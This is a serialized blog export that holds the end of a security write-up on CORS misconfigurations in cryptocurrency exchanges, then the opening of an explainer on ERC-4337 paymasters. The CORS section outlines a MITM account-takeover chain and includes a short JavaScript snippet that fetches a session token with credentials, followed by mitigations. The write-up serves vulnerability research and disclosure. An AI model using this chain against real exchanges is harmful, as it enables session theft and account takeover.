OK\n",{"type":23,"tag":213,"props":101751,"children":101752},{"class":215,"line":226},[101753],{"type":23,"tag":213,"props":101754,"children":101755},{},[101756],{"type":28,"value":101757},"Access-Control-Allow-Origin: http://aa.exchange.com\n",{"type":23,"tag":213,"props":101759,"children":101760},{"class":215,"line":524},[101761],{"type":23,"tag":213,"props":101762,"children":101763},{},[101764],{"type":28,"value":101765},"Access-Control-Allow-Credentials: true\n",{"type":23,"tag":213,"props":101767,"children":101768},{"class":215,"line":533},[101769],{"type":23,"tag":213,"props":101770,"children":101771},{},[101772],{"type":28,"value":10401},{"type":23,"tag":9693,"props":101774,"children":101776},{"id":101775},"cors-misconfiguration-by-lack-of-tls",[101777],{"type":28,"value":101778},"CORS Misconfiguration by Lack of TLS",{"type":23,"tag":24,"props":101780,"children":101781},{},[101782,101784,101790],{"type":28,"value":101783},"This case requires specific preconditions. The idea is to redirect the user to an insecure subdomain of ",{"type":23,"tag":209,"props":101785,"children":101787},{"className":101786},[],[101788],{"type":28,"value":101789},"exchange.com",{"type":28,"value":101791}," and spoof the response by intercepting and tampering with the victim's network packets.",{"type":23,"tag":24,"props":101793,"children":101794},{},[101795],{"type":28,"value":101796},"However, while testing it by simulating an MITM attack, we figured out that this type of attack behaves differently amongst the main browsers:",{"type":23,"tag":168,"props":101798,"children":101799},{},[101800,101820],{"type":23,"tag":135,"props":101801,"children":101802},{},[101803,101805,101810,101812,101818],{"type":28,"value":101804},"Chrome --> won't work because cookies are not sent in ",{"type":23,"tag":209,"props":101806,"children":101808},{"className":101807},[],[101809],{"type":28,"value":101730},{"type":28,"value":101811}," --> ",{"type":23,"tag":209,"props":101813,"children":101815},{"className":101814},[],[101816],{"type":28,"value":101817},"https://",{"type":28,"value":101819}," requests, even if same-site",{"type":23,"tag":135,"props":101821,"children":101822},{},[101823,101825],{"type":28,"value":101824},"Firefox and Safari --> works since cookies are sent from an insecure context ",{"type":23,"tag":209,"props":101826,"children":101828},{"className":101827},[],[101829],{"type":28,"value":37823},{"type":23,"tag":9693,"props":101831,"children":101833},{"id":101832},"exploit-1",[101834],{"type":28,"value":100164},{"type":23,"tag":24,"props":101836,"children":101837},{},[101838],{"type":28,"value":101839},"To exploit it, we must follow some steps:",{"type":23,"tag":131,"props":101841,"children":101842},{},[101843,101848,101853],{"type":23,"tag":135,"props":101844,"children":101845},{},[101846],{"type":28,"value":101847},"Force the victim to enter an insecure webpage in the exchange subdomain",{"type":23,"tag":135,"props":101849,"children":101850},{},[101851],{"type":28,"value":101852},"Deliver the malicious script to the victim using MITM (Man-In-The-Middle)",{"type":23,"tag":135,"props":101854,"children":101855},{},[101856,101858,101863],{"type":28,"value":101857},"Use ",{"type":23,"tag":209,"props":101859,"children":101861},{"className":101860},[],[101862],{"type":28,"value":37823},{"type":28,"value":101864}," with CORS to do something malicious using the victim's account",{"type":23,"tag":24,"props":101866,"children":101867},{},[101868],{"type":28,"value":101869},"To exploit the CORS issue, an attacker must first get the victim to load an insecure subdomain. This can be achieved through techniques such as spoofing Wi-Fi or creating a fake public network that automatically opens the insecure page as the captive portal.",{"type":23,"tag":24,"props":101871,"children":101872},{},[101873,101875,101880],{"type":28,"value":101874},"Once the redirect to the ",{"type":23,"tag":209,"props":101876,"children":101878},{"className":101877},[],[101879],{"type":28,"value":101730},{"type":28,"value":101881}," website is made, if the attacker is in an adjacent network, it is possible to intercept the HTTP request/response (or DNS resolve) and tamper with the returning page. The returning page should have a malicious script that exploits the CORS misconfiguration:",{"type":23,"tag":202,"props":101883,"children":101885},{"className":31419,"code":101884,"language":31421,"meta":7,"style":7},"(async () => {\n let res = await fetch('https://www.exchange.com/api/session_token', {\n credentials: 'include',\n method: 'POST',\n });\n console.log(await res.json());\n})();\n",[101886],{"type":23,"tag":209,"props":101887,"children":101888},{"__ignoreMap":7},[101889,101912,101949,101966,101983,101990,102031],{"type":23,"tag":213,"props":101890,"children":101891},{"class":215,"line":216},[101892,101896,101900,101904,101908],{"type":23,"tag":213,"props":101893,"children":101894},{"style":220},[101895],{"type":28,"value":265},{"type":23,"tag":213,"props":101897,"children":101898},{"style":230},[101899],{"type":28,"value":36203},{"type":23,"tag":213,"props":101901,"children":101902},{"style":220},[101903],{"type":28,"value":39754},{"type":23,"tag":213,"props":101905,"children":101906},{"style":230},[101907],{"type":28,"value":1445},{"type":23,"tag":213,"props":101909,"children":101910},{"style":220},[101911],{"type":28,"value":1375},{"type":23,"tag":213,"props":101913,"children":101914},{"class":215,"line":226},[101915,101919,101924,101928,101932,101936,101940,101945],{"type":23,"tag":213,"props":101916,"children":101917},{"style":230},[101918],{"type":28,"value":7943},{"type":23,"tag":213,"props":101920,"children":101921},{"style":268},[101922],{"type":28,"value":101923}," res",{"type":23,"tag":213,"props":101925,"children":101926},{"style":274},[101927],{"type":28,"value":511},{"type":23,"tag":213,"props":101929,"children":101930},{"style":1362},[101931],{"type":28,"value":36269},{"type":23,"tag":213,"props":101933,"children":101934},{"style":257},[101935],{"type":28,"value":32985},{"type":23,"tag":213,"props":101937,"children":101938},{"style":220},[101939],{"type":28,"value":265},{"type":23,"tag":213,"props":101941,"children":101942},{"style":246},[101943],{"type":28,"value":101944},"'https://www.exchange.com/api/session_token'",{"type":23,"tag":213,"props":101946,"children":101947},{"style":220},[101948],{"type":28,"value":48934},{"type":23,"tag":213,"props":101950,"children":101951},{"class":215,"line":524},[101952,101957,101962],{"type":23,"tag":213,"props":101953,"children":101954},{"style":268},[101955],{"type":28,"value":101956}," credentials:",{"type":23,"tag":213,"props":101958,"children":101959},{"style":246},[101960],{"type":28,"value":101961}," 'include'",{"type":23,"tag":213,"props":101963,"children":101964},{"style":220},[101965],{"type":28,"value":944},{"type":23,"tag":213,"props":101967,"children":101968},{"class":215,"line":533},[101969,101974,101979],{"type":23,"tag":213,"props":101970,"children":101971},{"style":268},[101972],{"type":28,"value":101973}," method:",{"type":23,"tag":213,"props":101975,"children":101976},{"style":246},[101977],{"type":28,"value":101978}," 'POST'",{"type":23,"tag":213,"props":101980,"children":101981},{"style":220},[101982],{"type":28,"value":944},{"type":23,"tag":213,"props":101984,"children":101985},{"class":215,"line":543},[101986],{"type":23,"tag":213,"props":101987,"children":101988},{"style":220},[101989],{"type":28,"value":98247},{"type":23,"tag":213,"props":101991,"children":101992},{"class":215,"line":551},[101993,101998,102002,102007,102011,102015,102019,102023,102027],{"type":23,"tag":213,"props":101994,"children":101995},{"style":268},[101996],{"type":28,"value":101997}," console",{"type":23,"tag":213,"props":101999,"children":102000},{"style":220},[102001],{"type":28,"value":124},{"type":23,"tag":213,"props":102003,"children":102004},{"style":257},[102005],{"type":28,"value":102006},"log",{"type":23,"tag":213,"props":102008,"children":102009},{"style":220},[102010],{"type":28,"value":265},{"type":23,"tag":213,"props":102012,"children":102013},{"style":1362},[102014],{"type":28,"value":32972},{"type":23,"tag":213,"props":102016,"children":102017},{"style":268},[102018],{"type":28,"value":101923},{"type":23,"tag":213,"props":102020,"children":102021},{"style":220},[102022],{"type":28,"value":124},{"type":23,"tag":213,"props":102024,"children":102025},{"style":257},[102026],{"type":28,"value":34054},{"type":23,"tag":213,"props":102028,"children":102029},{"style":220},[102030],{"type":28,"value":15484},{"type":23,"tag":213,"props":102032,"children":102033},{"class":215,"line":570},[102034],{"type":23,"tag":213,"props":102035,"children":102036},{"style":220},[102037],{"type":28,"value":102038},"})();\n",{"type":23,"tag":24,"props":102040,"children":102041},{},[102042],{"type":28,"value":102043},"During our research, the misconfiguration we found was in an API with an endpoint to return the session token, so the impact was an account takeover (ATO) with some limitations since exchanges usually have MFA to perform some actions like withdrawing.",{"type":23,"tag":9693,"props":102045,"children":102046},{"id":40391},[102047],{"type":28,"value":40394},{"type":23,"tag":24,"props":102049,"children":102050},{},[102051,102053,102058],{"type":28,"value":102052},"As mitigation, it is recommended to remove all ",{"type":23,"tag":209,"props":102054,"children":102056},{"className":102055},[],[102057],{"type":28,"value":101730},{"type":28,"value":102059}," URLs from the CORS configuration, including localhost, since a local web server in a mobile environment can abuse it.",{"type":23,"tag":24,"props":102061,"children":102062},{},[102063],{"type":28,"value":102064},"Also, as additional/alternative remediation, it is possible to configure the HSTS policy to include all subdomains and prevent insecure subdomains from loading in the browser.",{"type":23,"tag":47,"props":102066,"children":102067},{"id":28989},[102068],{"type":28,"value":19000},{"type":23,"tag":24,"props":102070,"children":102071},{},[102072],{"type":28,"value":102073},"In conclusion, our deep dive into authentication and client-side bugs within exchange platforms revealed several vulnerabilities stemming from misconfigurations. These types of attacks show the complexity of securing client-side applications due to the different contexts and environments they can operate in.",{"type":23,"tag":24,"props":102075,"children":102076},{},[102077],{"type":28,"value":102078},"It also demonstrates how development configurations can harm the application's security if they are also used in production. Thus, auditors must always understand in which environments and contexts the application will/can be run in, and ensure that the configurations are not insecure for use in production.",{"type":23,"tag":2957,"props":102080,"children":102081},{},[102082],{"type":28,"value":2961},{"title":7,"searchDepth":226,"depth":226,"links":102084},[102085,102090,102095],{"id":99769,"depth":226,"text":99772,"children":102086},[102087,102088,102089],{"id":99780,"depth":524,"text":99783},{"id":100137,"depth":524,"text":100140},{"id":101700,"depth":524,"text":101703},{"id":101711,"depth":226,"text":101714,"children":102091},[102092,102093,102094],{"id":101775,"depth":524,"text":101778},{"id":101832,"depth":524,"text":100164},{"id":40391,"depth":524,"text":40394},{"id":28989,"depth":226,"text":19000},"content:blog:2025-10-16-how-we-broke-exchanges-oauth-misconfigurations.md","blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations.md","blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations",{"_path":102100,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":102101,"description":102102,"date":102103,"author":102104,"image":102105,"isFeatured":18,"onBlogPage":18,"tags":102107,"body":102110,"_type":2967,"_id":107882,"_source":2969,"_file":107883,"_stem":107884,"_extension":2972},"/blog/2025-12-02-paymasters-evm","ERC-4337 Paymasters: Better UX, Hidden Risks","ERC-4337 paymasters unlock powerful UX by abstracting gas costs, but they also add complexity and subtle bugs. Explore some common pitfalls in real-world implementations and learn how to design production-ready paymasters.","2025-12-02T12:00:00.000Z","nicholas",{"src":102106,"width":97321,"height":13703},"/posts/paymasters-evm/title.png",[102108,102109],"evm","ERC-4337",{"type":20,"children":102111,"toc":107861},[102112,102116,102127,102132,102137,102142,102148,102154,102159,102164,102170,102175,102203,102209,102214,102221,102226,102236,102241,102267,102273,102293,102299,102319,102327,102358,102391,102400,102412,102437,102449,102462,102505,102511,102544,102643,102662,102685,102690,102696,102724,102871,102876,102903,102909,102921,102933,102942,102977,102982,104467,104495,104516,104521,104533,104542,104547,104565,104588,104593,104599,104653,104659,104692,104727,105551,105587,105623,105689,105722,106220,106273,106285,106849,106918,106945,107567,107609,107636,107648,107709,107728,107762,107767,107772,107777,107781,107786,107821,107847,107852,107857],{"type":23,"tag":35430,"props":102113,"children":102114},{"id":29072},[102115],{"type":28,"value":29075},{"type":23,"tag":24,"props":102117,"children":102118},{},[102119,102125],{"type":23,"tag":36,"props":102120,"children":102123},{"href":102121,"rel":102122},"https://docs.erc4337.io/",[40],[102124],{"type":28,"value":102109},{"type":28,"value":102126}," (Account Abstraction) has unlocked a new wave of UX improvements for Ethereum. By decoupling users from EOAs (Externally Owned Accounts), it enables smart contract wallets, gas sponsorships, and flexible authentication mechanisms.",{"type":23,"tag":24,"props":102128,"children":102129},{},[102130],{"type":28,"value":102131},"One of the most powerful features introduced by ERC-4337 is the paymaster, a contract that can sponsor gas fees for users. This allows dApps to deliver seamless, “gasless” experiences where users don’t have to hold ETH to transact.",{"type":23,"tag":24,"props":102133,"children":102134},{},[102135],{"type":28,"value":102136},"However, building a correct paymaster isn’t trivial. We’ve seen many developers trip up on subtle details of the standard, which can cause unexpected behavior or unnecessary complexity.",{"type":23,"tag":24,"props":102138,"children":102139},{},[102140],{"type":28,"value":102141},"In this article, we’ll break down how ERC-4337 works at a high level, zoom in on the paymaster’s role, and walk through the most common pitfalls we’ve observed when implementing paymasters. By the end, you’ll have a clear picture of how to design paymasters that follow best practices and are production-ready.",{"type":23,"tag":35430,"props":102143,"children":102145},{"id":102144},"erc4337-overview",[102146],{"type":28,"value":102147},"ERC4337 Overview",{"type":23,"tag":47,"props":102149,"children":102151},{"id":102150},"traditional-eoas-vs-smart-contract-wallets",[102152],{"type":28,"value":102153},"Traditional EOAs vs Smart Contract Wallets",{"type":23,"tag":24,"props":102155,"children":102156},{},[102157],{"type":28,"value":102158},"In Ethereum’s early design, user accounts are Externally Owned Accounts (EOAs), controlled by a private key. When you send a transaction (e.g. token transfer or contract call), your private key signs the transaction, and you must pay gas in ETH. If the key is lost or stolen, you lose access to everything permanently. This setup is simple, but also rigid and risky.",{"type":23,"tag":24,"props":102160,"children":102161},{},[102162],{"type":28,"value":102163},"By contrast, smart contract accounts (or \"smart wallets\") are programmable. They can enforce logic like multiple signatures, spending limits, social recovery, batching, and more, automating many aspects of security and usability.",{"type":23,"tag":47,"props":102165,"children":102167},{"id":102166},"why-erc4337-was-introduced",[102168],{"type":28,"value":102169},"Why ERC‑4337 Was Introduced",{"type":23,"tag":24,"props":102171,"children":102172},{},[102173],{"type":28,"value":102174},"Smart wallets offer powerful features, but Ethereum’s protocol restricts transactions to originate only from EOAs. Previous proposals (e.g. EIP‑2938, EIP‑3074) tried to change the protocol itself, requiring a hard fork. ERC‑4337 achieves account abstraction entirely off‑chain, using higher-layer infrastructure without any changes to Ethereum’s consensus layer. This unlocks key UX improvements:",{"type":23,"tag":168,"props":102176,"children":102177},{},[102178,102183,102188,102193,102198],{"type":23,"tag":135,"props":102179,"children":102180},{},[102181],{"type":28,"value":102182},"User recovery for lost keys (e.g. social recovery)",{"type":23,"tag":135,"props":102184,"children":102185},{},[102186],{"type":28,"value":102187},"Batched or atomic multi-step operations in one flow",{"type":23,"tag":135,"props":102189,"children":102190},{},[102191],{"type":28,"value":102192},"Paying gas fees with ERC‑20 tokens or via sponsor (gasless UX)",{"type":23,"tag":135,"props":102194,"children":102195},{},[102196],{"type":28,"value":102197},"Using custom signature schemes or multisig logic",{"type":23,"tag":135,"props":102199,"children":102200},{},[102201],{"type":28,"value":102202},"Creation and use of smart contract wallets without needing ETH or seed phrase upfront",{"type":23,"tag":47,"props":102204,"children":102206},{"id":102205},"how-erc-4337-works",[102207],{"type":28,"value":102208},"How ERC-4337 Works",{"type":23,"tag":24,"props":102210,"children":102211},{},[102212],{"type":28,"value":102213},"Before diving into each component, let's look at how ERC-4337 works at a high level:",{"type":23,"tag":24,"props":102215,"children":102216},{},[102217],{"type":23,"tag":4009,"props":102218,"children":102220},{"alt":50631,"src":102219},"/posts/paymasters-evm/flowchart.png",[],{"type":23,"tag":24,"props":102222,"children":102223},{},[102224],{"type":28,"value":102225},"The diagram above shows the key flow of ERC-4337. Below is a short explanation of each component shown above.",{"type":23,"tag":9693,"props":102227,"children":102229},{"id":102228},"useroperation",[102230],{"type":23,"tag":209,"props":102231,"children":102233},{"className":102232},[],[102234],{"type":28,"value":102235},"UserOperation",{"type":23,"tag":24,"props":102237,"children":102238},{},[102239],{"type":28,"value":102240},"A UserOperation is a pseudo‑transaction object representing the user’s intent. It includes data like:",{"type":23,"tag":168,"props":102242,"children":102243},{},[102244,102249,102254],{"type":23,"tag":135,"props":102245,"children":102246},{},[102247],{"type":28,"value":102248},"Target contract call(s)",{"type":23,"tag":135,"props":102250,"children":102251},{},[102252],{"type":28,"value":102253},"Signature or validation metadata",{"type":23,"tag":135,"props":102255,"children":102256},{},[102257,102259,102265],{"type":28,"value":102258},"Gas limits and fee payment details (wallet address, paymaster, bundler)\n",{"type":23,"tag":209,"props":102260,"children":102262},{"className":102261},[],[102263],{"type":28,"value":102264},"UserOperations",{"type":28,"value":102266}," are submitted to a separate mempool (often called alt‑mempool), not the regular Ethereum transaction pool.",{"type":23,"tag":9693,"props":102268,"children":102270},{"id":102269},"smart-contract-account",[102271],{"type":28,"value":102272},"Smart Contract Account",{"type":23,"tag":24,"props":102274,"children":102275},{},[102276,102278,102284,102285,102291],{"type":28,"value":102277},"Often called Sender or Smart Account, this is a user-controlled contract implementing logic via ",{"type":23,"tag":209,"props":102279,"children":102281},{"className":102280},[],[102282],{"type":28,"value":102283},"validateUserOp()",{"type":28,"value":1466},{"type":23,"tag":209,"props":102286,"children":102288},{"className":102287},[],[102289],{"type":28,"value":102290},"executeUserOp()",{"type":28,"value":102292},". It specifies custom rules: signature checking, nonce logic, allowed calls, or spending limits.",{"type":23,"tag":9693,"props":102294,"children":102296},{"id":102295},"bundler",[102297],{"type":28,"value":102298},"Bundler",{"type":23,"tag":24,"props":102300,"children":102301},{},[102302,102304,102309,102311,102317],{"type":28,"value":102303},"A Bundler is an off‑chain service or node monitoring the alt‑mempool. It collects multiple ",{"type":23,"tag":209,"props":102305,"children":102307},{"className":102306},[],[102308],{"type":28,"value":102264},{"type":28,"value":102310},", packages them, and submits them in a single transaction to the ",{"type":23,"tag":209,"props":102312,"children":102314},{"className":102313},[],[102315],{"type":28,"value":102316},"EntryPoint",{"type":28,"value":102318}," contract. Bundlers must use an EOA to pay gas upfront and are later reimbursed.",{"type":23,"tag":9693,"props":102320,"children":102321},{"id":1280},[102322],{"type":23,"tag":209,"props":102323,"children":102325},{"className":102324},[],[102326],{"type":28,"value":102316},{"type":23,"tag":24,"props":102328,"children":102329},{},[102330,102331,102336,102338,102343,102345,102349,102351,102356],{"type":28,"value":2623},{"type":23,"tag":209,"props":102332,"children":102334},{"className":102333},[],[102335],{"type":28,"value":102316},{"type":28,"value":102337}," contract acts as the central on-chain gateway for ERC-4337. For every batch of ",{"type":23,"tag":209,"props":102339,"children":102341},{"className":102340},[],[102342],{"type":28,"value":102264},{"type":28,"value":102344}," submitted by a ",{"type":23,"tag":95,"props":102346,"children":102347},{},[102348],{"type":28,"value":102298},{"type":28,"value":102350},", the ",{"type":23,"tag":209,"props":102352,"children":102354},{"className":102353},[],[102355],{"type":28,"value":102316},{"type":28,"value":102357}," validates and routes each operation back to the corresponding Smart Contract Wallet for execution.",{"type":23,"tag":24,"props":102359,"children":102360},{},[102361,102363,102368,102370,102374,102376,102381,102383,102389],{"type":28,"value":102362},"Once all operations have been processed, the ",{"type":23,"tag":209,"props":102364,"children":102366},{"className":102365},[],[102367],{"type":28,"value":102316},{"type":28,"value":102369}," calculates the total gas consumed and reimburses the ",{"type":23,"tag":95,"props":102371,"children":102372},{},[102373],{"type":28,"value":102298},{"type":28,"value":102375},". This payment can come either directly from the sender's Smart Account deposit in the ",{"type":23,"tag":209,"props":102377,"children":102379},{"className":102378},[],[102380],{"type":28,"value":102316},{"type":28,"value":102382}," or from a ",{"type":23,"tag":209,"props":102384,"children":102386},{"className":102385},[],[102387],{"type":28,"value":102388},"paymaster",{"type":28,"value":102390}," that has agreed to sponsor the transaction.",{"type":23,"tag":9693,"props":102392,"children":102393},{"id":102388},[102394],{"type":23,"tag":209,"props":102395,"children":102397},{"className":102396},[],[102398],{"type":28,"value":102399},"Paymaster",{"type":23,"tag":24,"props":102401,"children":102402},{},[102403,102405,102410],{"type":28,"value":102404},"A ",{"type":23,"tag":209,"props":102406,"children":102408},{"className":102407},[],[102409],{"type":28,"value":102388},{"type":28,"value":102411}," is an optional smart contract that enables flexible gas payment options. It can either sponsor gas fees directly or allow users to pay gas using ERC-20 tokens instead of ETH. It runs two key functions:",{"type":23,"tag":168,"props":102413,"children":102414},{},[102415,102426],{"type":23,"tag":135,"props":102416,"children":102417},{},[102418,102424],{"type":23,"tag":209,"props":102419,"children":102421},{"className":102420},[],[102422],{"type":28,"value":102423},"validatePaymasterUserOp()",{"type":28,"value":102425}," to validate the operation. This can check sponsorship eligibility or verify that the user has sufficient ERC-20 token balance and allowance to cover gas costs. The exact implementation of the function depends on how the protocol implements it.",{"type":23,"tag":135,"props":102427,"children":102428},{},[102429,102435],{"type":23,"tag":209,"props":102430,"children":102432},{"className":102431},[],[102433],{"type":28,"value":102434},"postOp()",{"type":28,"value":102436},", which handles post-execution accounting. For sponsored transactions, this may update internal accounting records, while for token payments, it typically finalizes any accounting related to the ERC-20 token payment.",{"type":23,"tag":24,"props":102438,"children":102439},{},[102440,102442,102447],{"type":28,"value":102441},"By supporting both sponsorship and token-based gas payments, ",{"type":23,"tag":209,"props":102443,"children":102445},{"className":102444},[],[102446],{"type":28,"value":102388},{"type":28,"value":102448}," removes the requirement for users to hold ETH, enabling truly gasless transactions through either model.",{"type":23,"tag":47,"props":102450,"children":102452},{"id":102451},"understanding-the-entrypoints-flow",[102453,102455,102460],{"type":28,"value":102454},"Understanding the ",{"type":23,"tag":209,"props":102456,"children":102458},{"className":102457},[],[102459],{"type":28,"value":102316},{"type":28,"value":102461},"'s Flow",{"type":23,"tag":24,"props":102463,"children":102464},{},[102465,102467,102472,102473,102478,102480,102491,102493,102498,102499,102504],{"type":28,"value":102466},"When a bundler submits ",{"type":23,"tag":209,"props":102468,"children":102470},{"className":102469},[],[102471],{"type":28,"value":102264},{"type":28,"value":16463},{"type":23,"tag":209,"props":102474,"children":102476},{"className":102475},[],[102477],{"type":28,"value":102316},{"type":28,"value":102479}," contract via ",{"type":23,"tag":36,"props":102481,"children":102484},{"href":102482,"rel":102483},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L58",[40],[102485],{"type":23,"tag":209,"props":102486,"children":102488},{"className":102487},[],[102489],{"type":28,"value":102490},"handleOps()",{"type":28,"value":102492},", the processing occurs in two main phases: ",{"type":23,"tag":95,"props":102494,"children":102495},{},[102496],{"type":28,"value":102497},"Validation",{"type":28,"value":1466},{"type":23,"tag":95,"props":102500,"children":102501},{},[102502],{"type":28,"value":102503},"Execution",{"type":28,"value":124},{"type":23,"tag":9693,"props":102506,"children":102508},{"id":102507},"validation-phase",[102509],{"type":28,"value":102510},"Validation Phase",{"type":23,"tag":24,"props":102512,"children":102513},{},[102514,102516,102521,102523,102529,102531,102537,102538,102543],{"type":28,"value":102515},"In this phase, the ",{"type":23,"tag":209,"props":102517,"children":102519},{"className":102518},[],[102520],{"type":28,"value":102316},{"type":28,"value":102522}," first validates all operations in the submitted ",{"type":23,"tag":209,"props":102524,"children":102526},{"className":102525},[],[102527],{"type":28,"value":102528},"UserOps",{"type":28,"value":102530}," array before executing any of them. This ensures that only valid operations proceed to execution. For each ",{"type":23,"tag":209,"props":102532,"children":102534},{"className":102533},[],[102535],{"type":28,"value":102536},"UserOp",{"type":28,"value":102350},{"type":23,"tag":209,"props":102539,"children":102541},{"className":102540},[],[102542],{"type":28,"value":102316},{"type":28,"value":277},{"type":23,"tag":131,"props":102545,"children":102546},{},[102547,102565,102583,102604,102616],{"type":23,"tag":135,"props":102548,"children":102549},{},[102550,102557,102559],{"type":23,"tag":36,"props":102551,"children":102554},{"href":102552,"rel":102553},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L764-L777",[40],[102555],{"type":28,"value":102556},"Calculates",{"type":28,"value":102558}," the required prefund amount by summing up all specified gas limits (verification, execution, and paymaster if used) multiplied by the user's specified ",{"type":23,"tag":209,"props":102560,"children":102562},{"className":102561},[],[102563],{"type":28,"value":102564},"maxFeePerGas",{"type":23,"tag":135,"props":102566,"children":102567},{},[102568,102575,102576,102581],{"type":23,"tag":36,"props":102569,"children":102572},{"href":102570,"rel":102571},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L545-L553",[40],[102573],{"type":28,"value":102574},"Calls",{"type":28,"value":6550},{"type":23,"tag":209,"props":102577,"children":102579},{"className":102578},[],[102580],{"type":28,"value":102283},{"type":28,"value":102582}," on the sender's smart account contract to verify the operation's validity (e.g. checking signatures)",{"type":23,"tag":135,"props":102584,"children":102585},{},[102586,102588,102595,102597,102602],{"type":28,"value":102587},"If no paymaster is specified, attempts to ",{"type":23,"tag":36,"props":102589,"children":102592},{"href":102590,"rel":102591},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L554-L557",[40],[102593],{"type":28,"value":102594},"deduct",{"type":28,"value":102596}," the prefund amount from the sender's ETH deposit in the ",{"type":23,"tag":209,"props":102598,"children":102600},{"className":102599},[],[102601],{"type":28,"value":102316},{"type":28,"value":102603}," (this can be partially refunded later if actual execution costs less)",{"type":23,"tag":135,"props":102605,"children":102606},{},[102607,102614],{"type":23,"tag":36,"props":102608,"children":102611},{"href":102609,"rel":102610},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L785-L788",[40],[102612],{"type":28,"value":102613},"Validates",{"type":28,"value":102615}," the nonce to prevent replay attacks",{"type":23,"tag":135,"props":102617,"children":102618},{},[102619,102621,102627,102629,102635,102636,102641],{"type":28,"value":102620},"If a paymaster is specified, it will ",{"type":23,"tag":36,"props":102622,"children":102625},{"href":102623,"rel":102624},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L623-L627",[40],[102626],{"type":28,"value":102594},{"type":28,"value":102628}," the required prefund amount from the paymaster's deposited ETH and then ",{"type":23,"tag":36,"props":102630,"children":102633},{"href":102631,"rel":102632},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L629",[40],[102634],{"type":28,"value":38353},{"type":28,"value":6550},{"type":23,"tag":209,"props":102637,"children":102639},{"className":102638},[],[102640],{"type":28,"value":102423},{"type":28,"value":102642}," on the paymaster contract to verify it will cover gas costs",{"type":23,"tag":24,"props":102644,"children":102645},{},[102646,102648,102653,102655,102660],{"type":28,"value":102647},"Only after all these validation checks pass will the ",{"type":23,"tag":209,"props":102649,"children":102651},{"className":102650},[],[102652],{"type":28,"value":102316},{"type":28,"value":102654}," move on to actually executing the ",{"type":23,"tag":209,"props":102656,"children":102658},{"className":102657},[],[102659],{"type":28,"value":102235},{"type":28,"value":102661},". This strict validation flow ensures that:",{"type":23,"tag":168,"props":102663,"children":102664},{},[102665,102670,102675,102680],{"type":23,"tag":135,"props":102666,"children":102667},{},[102668],{"type":28,"value":102669},"The operation is legitimate and authorized by the user",{"type":23,"tag":135,"props":102671,"children":102672},{},[102673],{"type":28,"value":102674},"Sufficient funds are available to cover gas (either from user or paymaster)",{"type":23,"tag":135,"props":102676,"children":102677},{},[102678],{"type":28,"value":102679},"The operation cannot be replayed",{"type":23,"tag":135,"props":102681,"children":102682},{},[102683],{"type":28,"value":102684},"All involved contracts (sender and paymaster) have approved the execution",{"type":23,"tag":24,"props":102686,"children":102687},{},[102688],{"type":28,"value":102689},"This multi-layered validation approach is crucial for maintaining security when processing operations that can involve complex smart account logic and third-party gas sponsorship.",{"type":23,"tag":9693,"props":102691,"children":102693},{"id":102692},"execution-phase",[102694],{"type":28,"value":102695},"Execution Phase",{"type":23,"tag":24,"props":102697,"children":102698},{},[102699,102701,102706,102708,102715,102717,102722],{"type":28,"value":102700},"After all operations have passed validation, the ",{"type":23,"tag":209,"props":102702,"children":102704},{"className":102703},[],[102705],{"type":28,"value":102316},{"type":28,"value":102707}," begins the ",{"type":23,"tag":36,"props":102709,"children":102712},{"href":102710,"rel":102711},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L70-L72",[40],[102713],{"type":28,"value":102714},"execution",{"type":28,"value":102716}," phase, processing each ",{"type":23,"tag":209,"props":102718,"children":102720},{"className":102719},[],[102721],{"type":28,"value":102235},{"type":28,"value":102723}," individually. For each operation, the flow is:",{"type":23,"tag":131,"props":102725,"children":102726},{},[102727,102787,102833],{"type":23,"tag":135,"props":102728,"children":102729},{},[102730,102731,102736,102738,102744,102745,102751,102753],{"type":28,"value":2623},{"type":23,"tag":209,"props":102732,"children":102734},{"className":102733},[],[102735],{"type":28,"value":102316},{"type":28,"value":102737}," makes a ",{"type":23,"tag":36,"props":102739,"children":102742},{"href":102740,"rel":102741},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L213-L232",[40],[102743],{"type":28,"value":38353},{"type":28,"value":56829},{"type":23,"tag":209,"props":102746,"children":102748},{"className":102747},[],[102749],{"type":28,"value":102750},"innerHandleOp()",{"type":28,"value":102752},", which:\n",{"type":23,"tag":168,"props":102754,"children":102755},{},[102756,102768,102773],{"type":23,"tag":135,"props":102757,"children":102758},{},[102759,102766],{"type":23,"tag":36,"props":102760,"children":102763},{"href":102761,"rel":102762},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L403",[40],[102764],{"type":28,"value":102765},"Forwards",{"type":28,"value":102767}," the operation to the sender's smart account contract",{"type":23,"tag":135,"props":102769,"children":102770},{},[102771],{"type":28,"value":102772},"Executes the intended transaction(s) within the smart account",{"type":23,"tag":135,"props":102774,"children":102775},{},[102776,102778,102785],{"type":28,"value":102777},"Handles ",{"type":23,"tag":36,"props":102779,"children":102782},{"href":102780,"rel":102781},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L821",[40],[102783],{"type":28,"value":102784},"post-execution",{"type":28,"value":102786}," tasks and cleanup",{"type":23,"tag":135,"props":102788,"children":102789},{},[102790,102792,102798,102800,102806,102807,102813,102815],{"type":28,"value":102791},"If a paymaster was used, ",{"type":23,"tag":209,"props":102793,"children":102795},{"className":102794},[],[102796],{"type":28,"value":102797},"Entrypoint",{"type":28,"value":102799}," will 